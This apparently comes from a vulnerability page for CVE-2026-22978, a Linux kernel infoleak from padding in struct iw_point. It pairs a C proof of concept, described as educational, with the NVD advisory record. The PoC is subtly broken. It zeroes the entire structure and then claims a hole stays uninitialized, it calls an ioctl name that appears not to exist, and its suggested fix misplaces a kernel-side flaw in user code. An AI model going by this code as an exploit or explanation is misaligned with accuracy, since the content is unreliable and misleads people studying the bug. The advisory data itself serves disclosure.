CVE-2026-22978

#include <stdio.h> #include <string.h> #include <sys/socket.h> #include <linux/wireless.h> /* * CVE-2026-22978 PoC - Linux kernel struct iw_point information leak * This PoC demonstrates the potential information disclosure via * uninitialized struct iw_point on 64-bit architectures. * * Note: This is a conceptual PoC for educational purposes. * Actual exploitation may require specific kernel configuration. */ int main() { int sock; struct iwreq iwreq; // Create socket for wireless ioctl sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("socket failed"); return 1; } // Initialize only partial structure - demonstrating the issue memset(&iwreq, 0, sizeof(struct iwreq)); strncpy(iwreq.ifr_name, "wlan0", IFNAMSIZ - 1); // Set up iw_point - NOT fully zeroed (simulating vulnerable code) // In vulnerable kernel, struct iw_point has a 32-bit hole iwreq.u.data.pointer = NULL; iwreq.u.data.length = 0; iwreq.u.data.flags = 0; // The 32-bit hole between pointer and length/flags remains uninitialized // Trigger the ioctl that could leak kernel data // SIOCGIWPOINT is an example - actual trigger depends on driver if (ioctl(sock, SIOCGIWPOINT, &iwreq) == 0) { printf("ioctl call successful\n"); // If kernel doesn't zero the structure, sensitive data may be leaked } close(sock); return 0; } // Fix: Kernel code should zero the structure before use: // memset(&iwreq, 0, sizeof(struct iwreq)); // or in kernel space: // struct iw_point point = {0};

{"cve": {"id": "CVE-2026-22978", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-23T16:15:53.783", "lastModified": "2026-02-26T20:17:16.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: avoid kernel-infoleak from struct iw_point\n\nstruct iw_point has a 32bit hole on 64bit arches.\n\nstruct iw_point {\n void __user *pointer; /* Pointer to the data (in user space) */\n __u16 length; /* number of fields or size in bytes */\n __u16 flags; /* Optional params */\n};\n\nMake sure to zero the structure to avoid disclosing 32bits of kernel data\nto user space."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nwifi: evitar la fuga de información del kernel de la estructura iw_point\n\nLa estructura iw_point tiene un agujero de 32 bits en arquitecturas de 64 bits.\n\nstruct iw_point {\n void __user *pointer; /* Puntero a los datos (en espacio de usuario) */\n __u16 length; /* número de campos o tamaño en bytes */\n __u16 flags; /* Parámetros opcionales */\n};\n\nAsegúrese de poner a cero la estructura para evitar la divulgación de 32 bits de datos del kernel al espacio de usuario."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.27", "versionEndExcluding": "5.10.248", "matchCriteriaId": "6DF628A9-C7C6-47DC-810A-2D8E53F0928F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.198", "matchCriteriaId": "82159CAA-B6BA-43C6-85D8-65BDBC175A7E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.161", "matchCriteriaId": "E135B7E2-61FC-4DC1-8570-ABD67894FFDE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.121", "matchCriteriaId": "BB7A164B-7422-4A1C-82FB-5FCAEE53C06C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.66", "matchCriteriaId": "F72B884C-B44F-40E4-9895-CE421AC663D0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.6", "matchCriteriaId": "879529BC-5B4C-4EBE-BF1D-1A31404A8B2E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:*", "matchCriteriaId": "17B67AA7-40D6-4AFA-8459-F200F3D7CFD1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:*", "matchCriteriaId": "C47E4CC9-C826-4FA9-B014-7FE3D9B318B2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc3:*:*:*:*:*:*", "matchCriteriaId": "F71D92C0-C023-48BD-B3B6-70B638EEE298"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc4:*:*:*:*:*:*", "matchCriteriaId": "13580667-0A98-40CC-B29F-D12790B91BDB"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/024f71a57d563fbe162e528c8bf2d27e9cac7c7b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/21cbf883d073abbfe09e3924466aa5e0449e7261", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/442ceac0393185e9982323f6682a52a53e8462b1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a3827e310b5a73535646ef4a552d53b3c8bf74f6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d21ec867d84c9f3a9845d7d8c90c9ce35dbe48f8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d943b5f592767b107ba8c12a902f17431350378c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e3c35177103ead4658b8a62f41e3080d45885464", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}